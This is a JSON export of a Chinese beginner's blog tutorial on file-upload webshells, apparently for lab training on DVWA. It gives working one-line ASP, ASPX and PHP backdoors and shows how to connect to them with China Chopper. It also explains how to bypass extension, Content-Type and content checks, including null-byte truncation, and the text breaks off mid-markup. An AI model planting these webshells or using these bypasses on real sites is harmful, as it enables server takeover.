{"id":701,"date":"2023-01-16T21:13:23","date_gmt":"2023-01-16T13:13:23","guid":{"rendered":"http:\/\/blog.nonot.cn\/?p=701"},"modified":"2024-07-08T15:29:33","modified_gmt":"2024-07-08T07:29:33","slug":"%e6%9c%a8%e9%a9%ac%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e9%98%b2%e5%be%a1%e7%ad%96%e7%95%a5%e5%8f%8a%e5%87%a0%e7%a7%8d%e7%bb%95%e8%bf%87%e6%a3%80%e6%b5%8b%e6%96%b9%e5%bc%8f","status":"publish","type":"post","link":"https:\/\/blog.nonot.cn\/index.php\/2023\/01\/16\/%e6%9c%a8%e9%a9%ac%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e9%98%b2%e5%be%a1%e7%ad%96%e7%95%a5%e5%8f%8a%e5%87%a0%e7%a7%8d%e7%bb%95%e8%bf%87%e6%a3%80%e6%b5%8b%e6%96%b9%e5%bc%8f\/","title":{"rendered":"\u6728\u9a6c\u6587\u4ef6\u4e0a\u4f20\u9632\u5fa1\u7b56\u7565\u53ca\u51e0\u79cd\u7ed5\u8fc7\u68c0\u6d4b\u65b9\u5f0f"},"content":{"rendered":"<p data-first-child=\"\" data-pid=\"4-MVX3uk\">\u8fd9\u7bc7\u6587\u7ae0\u4e3b\u8981\u4ecb\u7ecd\u4e86\u83dc\u5200\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\uff0c\u603b\u7ed3\u4e86\u4e00\u4e9b\u5bf9\u6587\u4ef6\u4e0a\u4f20\u7684\u9632\u5fa1\u7b56\u7565\u548c\u7ed5\u8fc7\u6587\u4ef6\u4e0a\u4f20\u68c0\u6d4b\u7684\u65b9\u6cd5\uff0c\u65b0\u624b\u5165\u95e8\u5411\u3002<\/p>\n<h2><b>1.\u4e2d\u56fd\u83dc\u5200\u8fde\u63a5<\/b><\/h2>\n<p data-pid=\"R7KynxAm\"><b>1.1 WebShell<\/b><\/p>\n<p data-pid=\"ht3sfZzQ\">WebShell\u5c31\u662f\u4ee5asp\u3001php\u3001jsp\u6216\u8005cgi\u7b49\u7f51\u9875\u6587\u4ef6\u5f62\u5f0f\u5b58\u5728\u7684\u4e00\u79cd\u547d\u4ee4\u6267\u884c\u73af\u5883\uff0c\u4e5f\u53ef\u4ee5\u5c06\u5176\u79f0\u505a\u4e3a\u4e00\u79cd\u7f51\u9875\u540e\u95e8\u3002\u9ed1\u5ba2\u5728\u5165\u4fb5\u4e86\u4e00\u4e2a\u7f51\u7ad9\u540e\uff0c\u901a\u5e38\u4f1a\u5c06asp\u6216php\u540e\u95e8\u6587\u4ef6\u4e0e\u7f51\u7ad9\u670d\u52a1\u5668WE\u76ee\u5f55\u4e0b\u6b63\u5e38\u7684\u7f51\u9875\u6587\u4ef6\u6df7\u5728\u4e00\u8d77\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u4f7f\u7528\u6d4f\u89c8\u5668\u6216\u5de5\u5177\u6765\u8bbf\u95eeasp\u6216\u8005php\u540e\u95e8\uff0c\u5f97\u5230\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u73af\u5883\uff0c\u4ee5\u8fbe\u5230\u63a7\u5236\u7f51\u7ad9\u670d\u52a1\u5668\u7684\u76ee\u7684\u3002<\/p>\n<p data-pid=\"Xz68uOvb\">\u901a\u5e38\u6765\u8bf4\uff0c\u4e0a\u4f20\u4e00\u53e5\u8bdd\u6728\u9a6c\u901a\u8fc7\u4e2d\u56fd\u83dc\u5200\u8fde\u63a5\u662f\u6bd4\u8f83\u7b80\u4fbf\u5730\u62ff\u5230\u670d\u52a1\u5668\u7684\u65b9\u6cd5\u3002\u83dc\u5200\u53ef\u4ee5\u8fde\u63a5asp\u3001aspx\u3001php\u3001jsp\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\u3002<\/p>\n<p data-pid=\"uEn9sLnl\"><b>1.2 \u4e00\u53e5\u8bdd\u6728\u9a6c<\/b><\/p>\n<ul>\n<li data-pid=\"IDGqtMnJ\">asp\uff1a\n<div class=\"highlight\">\n<pre><code class=\"language-text\">&lt;%eval request(\"pass\")%&gt;\n<\/code><\/pre>\n<\/div>\n<\/li>\n<li data-pid=\"D8UzCUxp\">aspx:\n<div class=\"highlight\">\n<pre><code class=\"language-text\">&lt;%@ Page Language=\"Jscript\"%&gt;&lt;%eval(Request.Item[\"pass\"],\"unsafe\");%&gt;\n<\/code><\/pre>\n<\/div>\n<\/li>\n<li data-pid=\"Isy1hjoC\">php:\n<div class=\"highlight\">\n<pre><code class=\"language-text\">&lt;?php @eval($_POST['pass']);?&gt;\n<\/code><\/pre>\n<\/div>\n<\/li>\n<\/ul>\n<p data-pid=\"5FzuJ1H_\">\u5176\u4e2d\uff0cpass\u662f\u8fd9\u4e2a\u6728\u9a6c\u4e2d\u7684\u5bc6\u7801\u7684\u503c\uff0c\u4e5f\u53ef\u4ee5\u66ff\u6362\u4e3a\u5176\u4ed6\u5b57\u7b26\u3002<\/p>\n<p data-pid=\"5_nJIlQe\"><b>1.3 \u4e00\u53e5\u8bdd\u6728\u9a6c\u8fd0\u4f5c\u65b9\u5f0f<\/b><\/p>\n<p data-pid=\"SQYzu5Gg\">\u9996\u5148\uff0c\u53ef\u4ee5\u628a\u8fd9\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c\u63d2\u5165\u5230\u4e00\u4e2a\u6b63\u5e38\u7684\u7f51\u7ad9\u6587\u4ef6\u4e2d\uff0casp\u7684\u63d2\u5165\u5230asp\u6587\u4ef6\u91cc\uff0cphp\u7684\u63d2\u5165\u5230php\u6587\u4ef6\u91cc\uff0c\u5176\u4ed6\u540c\u7406\u3002\u4e5f\u53ef\u4ee5\u628a\u6728\u9a6c\u5355\u72ec\u5199\u5728\u4e00\u4e2a\u6587\u4ef6\u91cc\uff0c\u6bd4\u5982\u65b0\u5efa\u4e00\u4e2aphp\u6587\u4ef6\uff0c\u6574\u4e2aphp\u6587\u4ef6\u5185\u5bb9\u5c31\u53ea\u6709\u8fd9\u4e00\u53e5\u8bdd\u3002<\/p>\n<p data-pid=\"zTkCMjmj\">\u63d2\u5165\u7684\u65b9\u6cd5\uff0c\u4e00\u822c\u6765\u8bb2\u662f\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\uff0c\u5982\u4f5c\u4e1a\u4e0a\u4f20\u7f51\u7ad9\u3001\u56fe\u7247\u4e0a\u4f20\u7f51\u7ad9\uff0c\u5c06\u6728\u9a6c\u6587\u4ef6\u4e0a\u4f20\u5230\u76ee\u6807\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u4e2d\uff0c\u518d\u5c06\u6587\u4ef6\u5b58\u50a8\u7684\u94fe\u63a5\u6dfb\u52a0\u5230\u83dc\u5200\u4e2d\uff0c\u8f93\u5165\u6728\u9a6c\u7684\u5bc6\u7801\u5373\u53ef\u76f4\u63a5\u62ff\u5230\u670d\u52a1\u5668\u7684\u63a7\u5236\u6743\u3002<\/p>\n<p data-pid=\"qMzsJtD0\"><b>1.4 \u7b80\u5355\u7684\u4f8b\u5b50<\/b><\/p>\n<p data-pid=\"xT39axjx\"><b>1.4.1 \u7f16\u5199php\u6728\u9a6c<\/b><\/p>\n<div class=\"highlight\">\n<pre><code class=\"language-text\">&lt;?php @eval($_POST['xxt']);?&gt; \n<\/code><\/pre>\n<\/div>\n<p data-pid=\"3HM4Oq0-\">\u5c06\u8be5php\u6587\u4ef6\u547d\u540d\u4e3a \u3010xxt.php\u3011<\/p>\n<p data-pid=\"RNv-qCDl\"><b>1.4.2 \u964d\u4f4eDVWA\u5b89\u5168\u6807\u51c6<\/b><\/p>\n<p data-pid=\"Z4NAXCpc\">\u56e0\u4e3a\u8fd9\u91cc\u4e3b\u8981\u662f\u4ecb\u7ecd\u83dc\u5200\u7684\u8fde\u63a5\u65b9\u5f0f\uff0c\u4e3a\u4e86\u7b80\u4fbf\u4f7f\u7528\u6ca1\u6709\u9632\u5907\u7684\u4e0a\u4f20\u70b9\u3002<\/p>\n<p data-pid=\"4ZkJegym\">\u5728DVWA\u6f0f\u6d1e\u8bad\u7ec3\u5e73\u53f0\u4e2d\uff0c\u767b\u9646\u540e\u5c06DVWA\u7684\u5b89\u5168\u7ea7\u522b\u8c03\u6574\u4e3alow\uff08\u89c1\u7ea2\u6846\u5185\uff09\u3002\u8c03\u6574\u4e4b\u540e\u9009\u62e9 File Upload, \u8fdb\u5165\u9875\u9762\u3002<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-976\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-381443d25db71eac8b4694a43e87bd7a_720w.webp.jpg\" width=\"720\" height=\"499\" alt=\"v2-381443d25db71eac8b4694a43e87bd7a_720w.webp\" title=\"v2-381443d25db71eac8b4694a43e87bd7a_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-381443d25db71eac8b4694a43e87bd7a_720w.webp.jpg 720w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-381443d25db71eac8b4694a43e87bd7a_720w.webp-300x208.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div>\n<\/figure>\n<p><b>1.4.3 \u4e0a\u4f20php\u6728\u9a6c<\/b><\/p>\n<p data-pid=\"vtynwCt9\">\u6d4f\u89c8\u6587\u4ef6\uff0c\u9009\u62e9\u3010xxt.php\u3011\uff0c\u70b9\u51fb Upload \u4e0a\u4f20\u3002<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-977\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-dd7586fe7d712c460bf4c0258a16a61a_720w.webp.jpg\" width=\"518\" height=\"240\" alt=\"v2-dd7586fe7d712c460bf4c0258a16a61a_720w.webp\" title=\"v2-dd7586fe7d712c460bf4c0258a16a61a_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-dd7586fe7d712c460bf4c0258a16a61a_720w.webp.jpg 518w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-dd7586fe7d712c460bf4c0258a16a61a_720w.webp-300x139.jpg 300w\" sizes=\"auto, (max-width: 518px) 100vw, 518px\" \/><\/div>\n<\/figure>\n<p>\u4e0a\u4f20\u6210\u529f\uff0c\u663e\u793a\u4e86\u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u3002\u524d\u4e24\u4e2a\u7701\u7565\u53f7\u662f\u6307\u7236\u7ea7\u76ee\u5f55\uff0c\u56e0\u6b64\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u4e3a<\/p>\n<p data-pid=\"yVnT6ZSk\"><a class=\" external\" href=\"https:\/\/link.zhihu.com\/?target=http%3A\/\/127.0.0.1\/dvwa-master\/hackable\/uploads\/xxt.php\" target=\"_blank\" rel=\"nofollow noopener noreferrer\" data-za-detail-view-id=\"1043\"><span class=\"invisible\">http:\/\/<\/span><span class=\"visible\">127.0.0.1\/dvwa-master\/h<\/span><span class=\"invisible\">ackable\/uploads\/xxt.php<\/span><\/a><\/p>\n<p data-pid=\"DqwLAFXz\"><b>1.4.4 \u83dc\u5200\u8fde\u63a5<\/b><\/p>\n<p data-pid=\"dIqGsl8R\">\u6253\u5f00\u83dc\u5200\uff0c\u53f3\u952e\u2014&gt; \u6dfb\u52a0\u2014&gt;\u8f93\u5165\u7edd\u5bf9\u8def\u5f84\u548c\u5bc6\u7801\u2014&gt;\u6dfb\u52a0<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-978\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.webp.jpg\" width=\"588\" height=\"300\" alt=\"v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.webp\" title=\"v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.webp.jpg 588w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.webp-300x153.jpg 300w\" sizes=\"auto, (max-width: 588px) 100vw, 588px\" \/><\/div>\n<\/figure>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-979\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-92e754f28b20e5950617bb7586926030_720w.webp.jpg\" width=\"720\" height=\"394\" alt=\"v2-92e754f28b20e5950617bb7586926030_720w.webp\" title=\"v2-92e754f28b20e5950617bb7586926030_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-92e754f28b20e5950617bb7586926030_720w.webp.jpg 720w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-92e754f28b20e5950617bb7586926030_720w.webp-300x164.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div>\n<\/figure>\n<p>\u6700\u4e0a\u65b9\u7684\u5c31\u662f\u6211\u4eec\u521a\u6dfb\u52a0\u7684\u540e\u95e8\u8def\u5f84\uff0c\u53cc\u51fb\u5373\u53ef\u67e5\u770b\u670d\u52a1\u5668\u6587\u4ef6\u5939\uff0c\u5e76\u5bf9\u5176\u64cd\u4f5c<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-980\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-e909f9b64f937d6ca2abdf188a6a8135_720w.webp.jpg\" width=\"720\" height=\"394\" alt=\"v2-e909f9b64f937d6ca2abdf188a6a8135_720w.webp\" title=\"v2-e909f9b64f937d6ca2abdf188a6a8135_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-e909f9b64f937d6ca2abdf188a6a8135_720w.webp.jpg 720w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-e909f9b64f937d6ca2abdf188a6a8135_720w.webp-300x164.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div>\n<\/figure>\n<p>\u56e0\u4e3a\u8fd9\u4e2aDVWA\u5e73\u53f0\u662f\u5728\u6211\u7684\u672c\u5730\u670d\u52a1\u5668\u642d\u7684\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684\u670d\u52a1\u5668\u5c31\u662f\u6211\u81ea\u5df1\u7684\u7535\u8111\u5566<\/p>\n<h2><b>2. \u6587\u4ef6\u4e0a\u4f20\u9632\u5fa1\u7b56\u7565<\/b><\/h2>\n<p data-pid=\"_haDT2sn\"><b>2.1 \u5e38\u89c1\u9632\u5fa1\u7b56\u7565<\/b><\/p>\n<p data-pid=\"h4iygD_l\">\u5728\u4e00\u822c\u7684\u7f51\u7ad9\u4e2d\uff0c\u662f\u4e0d\u53ef\u80fd\u76f4\u63a5\u8ba9\u4f60\u4e0a\u4f20\u6728\u9a6c\u6587\u4ef6\u7684\uff0c\u90fd\u8981\u5bf9\u4e0a\u4f20\u8fdb\u884c\u8fc7\u6ee4\u3002<\/p>\n<p data-pid=\"-jL2jhwT\">\u901a\u5e38\u4f1a\u6709\u6587\u4ef6\u7c7b\u578b\u9650\u5236\u3001\u6587\u4ef6\u5927\u5c0f\u9650\u5236\u7b49\u8fc7\u6ee4\u65b9\u5f0f\u3002\u6587\u4ef6\u7c7b\u578b\u9650\u5236\u6700\u4e3a\u5e38\u89c1\uff0c\u4e00\u822c\u6709<b>\u524d\u53f0\u6587\u4ef6\u6269\u5c55\u540d\u68c0\u6d4b<\/b>\u3001<b>\u670d\u52a1\u5668\u7aef\u6269\u5c55\u540d\u68c0\u6d4b<\/b>\u3001<b>content-type \u53c2\u6570\u68c0\u6d4b<\/b>\u6216<b>\u6587\u4ef6\u5185\u5bb9\u68c0\u6d4b<\/b>\u3002<\/p>\n<p data-pid=\"y2SjU07B\"><b>2.2.1 \u524d\u53f0\u811a\u672c\u68c0\u6d4b\u6269\u5c55\u540d<\/b><\/p>\n<p data-pid=\"uFfv9fa-\">\u5f53\u7528\u6237\u5728\u5ba2\u6237\u7aef\u9009\u62e9\u6587\u4ef6\u70b9\u51fb\u4e0a\u4f20\u7684\u65f6\u5019\uff0c\u5ba2\u6237\u7aef\u8fd8\u6ca1\u6709\u5411\u670d\u52a1\u5668\u53d1\u9001\u4efb\u4f55\u6d88\u606f\uff0c\u5c31\u5bf9\u672c\u5730\u6587\u4ef6\u8fdb\u884c\u68c0\u6d4b\u6765\u5224\u65ad\u662f\u5426\u662f\u53ef\u4ee5\u4e0a\u4f20\u7684\u7c7b\u578b\uff0c\u8fd9\u79cd\u65b9\u5f0f\u79f0\u4e3a\u524d\u53f0\u811a\u672c\u68c0\u6d4b\u6269\u5c55\u540d\u3002\u7ed5\u8fc7\u524d\u53f0\u811a\u672c\u68c0\u6d4b\u6269\u5c55\u540d\uff0c\u5c31\u662f\u5c06\u6240\u8981\u4e0a\u4f20\u6587\u4ef6\u7684\u6269\u5c55\u540d\u66f4\u6539\u4e3a\u7b26\u5408\u811a\u672c\u68c0\u6d4b\u89c4\u5219\u7684\u6269\u5c55\u540d\uff0c\u901a\u8fc7BurpSuite\u5de5\u5177\uff0c\u622a\u53d6\u6570\u636e\u5305\uff0c\u5e76\u5c06\u6570\u636e\u5305\u4e2d\u6587\u4ef6\u6269\u5c55\u540d\u66f4\u6539\u56de\u539f\u6765\u7684\uff0c\u8fbe\u5230\u7ed5\u8fc7\u7684\u76ee\u7684\u3002<\/p>\n<p data-pid=\"fB4TzZrk\"><b>2.2.2 Content-Type\u6587\u4ef6\u7c7b\u578b\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"rxE4Eker\"><b>Content-Type<\/b>\uff0c\u5185\u5bb9\u7c7b\u578b\uff0c\u662f\u7f51\u9875\u8bf7\u6c42\u4e2d\u9644\u5e26\u7684\u53c2\u6570\uff0c\u7528\u4e8e\u5b9a\u4e49\u7f51\u7edc\u6587\u4ef6\u7684\u7c7b\u578b\u548c\u7f51\u9875\u7684\u7f16\u7801\uff0c\u51b3\u5b9a\u6587\u4ef6\u63a5\u6536\u65b9\u5c06\u4ee5\u4ec0\u4e48\u5f62\u5f0f\u3001\u4ec0\u4e48\u7f16\u7801\u8bfb\u53d6\u8fd9\u4e2a\u6587\u4ef6\uff0c\u8fd9\u5c31\u662f\u7ecf\u5e38\u770b\u5230\u4e00\u4e9bAsp\u7f51\u9875\u70b9\u51fb\u7684\u7ed3\u679c\u5374\u662f\u4e0b\u8f7d\u5230\u7684\u4e00\u4e2a\u6587\u4ef6\u6216\u4e00\u5f20\u56fe\u7247\u7684\u539f\u56e0\u3002<\/p>\n<p data-pid=\"D2YV005M\"><b>ContentType <\/b>\u4e00\u822c\u53c2\u6570\u6709<\/p>\n<ul>\n<li data-pid=\"3KkUGaWv\">application\/x-cdf \u5e94\u7528\u578b\u6587\u4ef6<\/li>\n<li data-pid=\"prox0GgC\">text\/HTML \u6587\u672c<\/li>\n<li data-pid=\"5v45uI7q\">image\/JPEG jpg \u56fe\u7247<\/li>\n<li data-pid=\"ZI5rX-HJ\">image\/GIF gif\u56fe\u7247<\/li>\n<\/ul>\n<p data-pid=\"X1x45Brq\">\u5f53\u6d4f\u89c8\u5668\u5728\u4e0a\u4f20\u6587\u4ef6\u5230\u670d\u52a1\u5668\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5668\u5bf9\u8bf4\u4e0a\u4f20\u6587\u4ef6\u7684 Content-Type \u7c7b\u578b\u8fdb\u884c\u68c0\u6d4b\uff0c\u5982\u679c\u662f\u767d\u540d\u5355\u5141\u8bb8\u7684\uff0c\u5219\u53ef\u4ee5\u6b63\u5e38\u4e0a\u4f20\uff0c\u5426\u5219\u4e0a\u4f20\u5931\u8d25\u3002\u7ed5\u8fc7 Content\u2014Type \u6587\u4ef6\u7c7b\u578b\u68c0\u6d4b\uff0c\u5c31\u662f\u7528 BurpSuite \u622a\u53d6\u5e76\u4fee\u6539\u6570\u636e\u5305\u4e2d\u6587\u4ef6\u7684 Content-Type \u7c7b\u578b\uff0c\u4f7f\u5176\u7b26\u5408\u767d\u540d\u5355\u7684\u89c4\u5219\uff0c\u8fbe\u5230\u4e0a\u4f20\u7684\u76ee\u7684\u3002<\/p>\n<p data-pid=\"OlFVhdoM\"><b>2.2.3 \u670d\u52a1\u5668\u7aef\u6269\u5c55\u540d\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"c8lUvRNL\">\u5f53\u6d4f\u89c8\u5668\u5c06\u6587\u4ef6\u63d0\u4ea4\u5230\u670d\u52a1\u5668\u7aef\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5668\u7aef\u4f1a\u6839\u636e\u8bbe\u5b9a\u7684\u9ed1\u767d\u540d\u5355\u5bf9\u6d4f\u89c8\u5668\u63d0\u4ea4\u4e0a\u6765\u7684\u6587\u4ef6\u6269\u5c55\u540d\u8fdb\u884c\u68c0\u6d4b\uff0c\u5982\u679c\u4e0a\u4f20\u7684\u6587\u4ef6\u6269\u5c55\u540d\u4e0d\u7b26\u5408\u9ed1\u767d\u540d\u5355\u7684\u9650\u5236\uff0c\u5219\u4e0d\u4e88\u4e0a\u4f20\uff0c\u5426\u5219\u4e0a\u4f20\u6210\u529f\u3002<\/p>\n<p data-pid=\"2thlIExr\"><b>2.2.4 \u6587\u4ef6\u5185\u5bb9\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"jqUbm28P\">\u4e00\u822c\u6587\u4ef6\u5185\u5bb9\u9a8c\u8bc1\u4f7f\u7528getimagesize()\u51fd\u6570\u68c0\u6d4b\uff0c\u4f1a\u5224\u65ad\u6587\u4ef6\u662f\u5426\u662f\u4e00\u4e2a\u6709\u6548\u7684\u6587\u4ef6\u56fe\u7247\uff0c\u5982\u679c\u662f\uff0c\u5219\u5141\u8bb8\u4e0a\u4f20\uff0c\u5426\u5219\u7684\u8bdd\u4e0d\u5141\u8bb8\u4e0a\u4f20\u3002\u6240\u4ee5\u7ecf\u5e38\u8981\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u63d2\u5165\u5230\u4e00\u4e2a\u3010\u5408\u6cd5\u3011\u7684\u56fe\u7247\u6587\u4ef6\u5f53\u4e2d\uff0c\u7136\u540e\u7528\u4e2d\u56fd\u83dc\u5200\u8fdc\u7a0b\u8fde\u63a5\u3002<\/p>\n<h2><b>3.\u7ed5\u8fc7\u68c0\u6d4b\u4e0a\u4f20<\/b><\/h2>\n<p data-pid=\"4NmSqaed\"><b>3.1 \u5229\u752800\u622a\u65ad\u4e0a\u4f20\u7ed5\u8fc7\u524d\u53f0\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"_ZHRNkUX\">\u6bd4\u5982\u67d0\u7f51\u7ad9\u7684\u4e0a\u4f20\u70b9\u91c7\u7528\u4e86\u524d\u7aef\u6269\u5c55\u540d\u68c0\u6d4b\uff0c\u53ea\u5141\u8bb8\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6\uff0c\u800c\u6211\u4eec\u8981\u4e0a\u4f20\u4e00\u4e2aphp\u6728\u9a6c\uff0c\u53ef\u4ee5\u6309\u7167\u4ee5\u4e0b\u6b65\u9aa4<\/p>\n<p data-pid=\"TWrfJmpg\"><b>3.1.1 php\u6728\u9a6c\u4f2a\u88c5jpg\u6587\u4ef6<\/b><\/p>\n<p data-pid=\"XVtF20uF\">\u5148\u7f16\u5199\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u547d\u540d\u4e3a\u3010lubr.php.jpg\u3011\uff0c\u56e0\u4e3a\u6269\u5c55\u540d\u68c0\u6d4b\u662f\u4ece\u6587\u4ef6\u540d\u7684\u53f3\u8fb9\u5f80\u5de6\u8bfb\u7684\uff0c\u5f53\u8bfb\u5230\u7b2c\u4e00\u4e2a\u3010. \u3011\u7684\u65f6\u5019\uff0c\u4fbf\u901a\u8fc7\u6269\u5c55\u540d\u786e\u5b9a\u8fd9\u4e2a\u6587\u4ef6\u7684\u7c7b\u578b\u3002\u8fd9\u91cc\u5c31\u5c06 php \u6587\u4ef6\u4f2a\u88c5\u6210\u4e86jpg \u6587\u4ef6\u3002<\/p>\n<p data-pid=\"4lJXPlm4\"><b>3.1.2 BurpSuite\u62e6\u622a\u65392e\u4e3a00<\/b><\/p>\n<p data-pid=\"av3__FK9\">\u5f00\u542f BurpSuite \u7684\u3010proxy\u3011 \u529f\u80fd\uff0c\u5728\u9009\u62e9 \u3010lubr.php.jpg\u3011 \u6587\u4ef6\u540e\uff0c\u70b9\u51fb\u4e0a\u4f20\u3002<\/p>\n<p data-pid=\"Z0UeU5Ze\">\u8fd9\u65f6\u4e0a\u4f20\u6587\u4ef6\u7684\u6570\u636e\u5305\u4e0d\u4f1a\u76f4\u63a5\u53d1\u5f80\u670d\u52a1\u5668\uff0c\u800c\u662f\u8981\u7ecf\u7531 Burp \u6765\u53d1\u9001\uff0c\u6211\u4eec\u5728\u8fd9\u91cc\u53ef\u4ee5\u67e5\u770b\u548c\u4fee\u6539\u6570\u636e\u5305\u7684\u5185\u5bb9\u3002<\/p>\n<p data-pid=\"s2nAPdaM\">\u70b9\u51fbhex\u67e5\u770b\u5341\u516d\u8fdb\u5236\u6e90\u7801\uff0c\u5982\u4e0b\u56fe<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-981\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.webp.jpg\" width=\"720\" height=\"437\" alt=\"v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.webp\" title=\"v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.webp.jpg 720w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.webp-300x182.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div>\n<\/figure>\n<p data-pid=\"UijMQDMM\">\u627e\u5230 lubr.php.jpg \u5bf9\u5e94\u7684\u6e90\u7801\uff0c\u5c06 lubr.php \u540e\u7684\u3010.\u3011 \u5bf9\u5e94\u7684\u30102e\u3011\u6539\u4e3a\u301000\u3011<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-982\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38ab35d43d6572a7c8065e43573f6465_720w.webp.jpg\" width=\"762\" height=\"37\" alt=\"v2-38ab35d43d6572a7c8065e43573f6465_720w.webp\" title=\"v2-38ab35d43d6572a7c8065e43573f6465_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38ab35d43d6572a7c8065e43573f6465_720w.webp.jpg 762w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38ab35d43d6572a7c8065e43573f6465_720w.webp-300x15.jpg 300w\" sizes=\"auto, (max-width: 762px) 100vw, 762px\" \/><\/div>\n<\/figure>\n<p>\u301000\u3011\u5bf9\u5e94\u3010\u7a7a\u3011 ,\u6ce8\u610f\u3010\u7a7a\u683cSpace\u3011\u4e0d\u7b49\u4e8e\u3010\u7a7a\u3011<\/p>\n<p data-pid=\"9IR1kcK6\">\u70b9\u51fb \u3010forward\u3011\uff0c\u5373\u53ef\u6210\u529f\u4e0a\u4f20\u6587\u4ef6<\/p>\n<p data-pid=\"PR4SDEDt\"><b>3.1.3 \u83dc\u5200\u8fde\u63a5<\/b><\/p>\n<p data-pid=\"8sl_qj5J\">\u83b7\u53d6php\u6728\u9a6c\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u7565<\/p>\n<p data-pid=\"CBk_cbMm\"><b>3.2 \u622a\u65ad\u6539\u6269\u5c55\u540d\u7ed5\u8fc7\u524d\u53f0\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"MH5X69bN\">\u4e0e00\u622a\u65ad\u7c7b\u4f3c\uff0c\u6b64\u65b9\u6cd5\u4e5f\u662f\u901a\u8fc7\u622a\u65ad\u6570\u636e\u5305\u505a\u4fee\u6539\u6765\u5b9e\u73b0\u7684\u3002<\/p>\n<p data-pid=\"5digBxCv\">\u5982\u679c\u76f4\u63a5\u4e0a\u4f20php\u6587\u4ef6\uff0c\u4f1a\u88ab\u62e6\u622a\u3002<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-983\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-9ca0771bd3632f20b6d58d08cba476ed_720w.webp.jpg\" width=\"592\" height=\"169\" alt=\"v2-9ca0771bd3632f20b6d58d08cba476ed_720w.webp\" title=\"v2-9ca0771bd3632f20b6d58d08cba476ed_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-9ca0771bd3632f20b6d58d08cba476ed_720w.webp.jpg 592w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-9ca0771bd3632f20b6d58d08cba476ed_720w.webp-300x86.jpg 300w\" sizes=\"auto, (max-width: 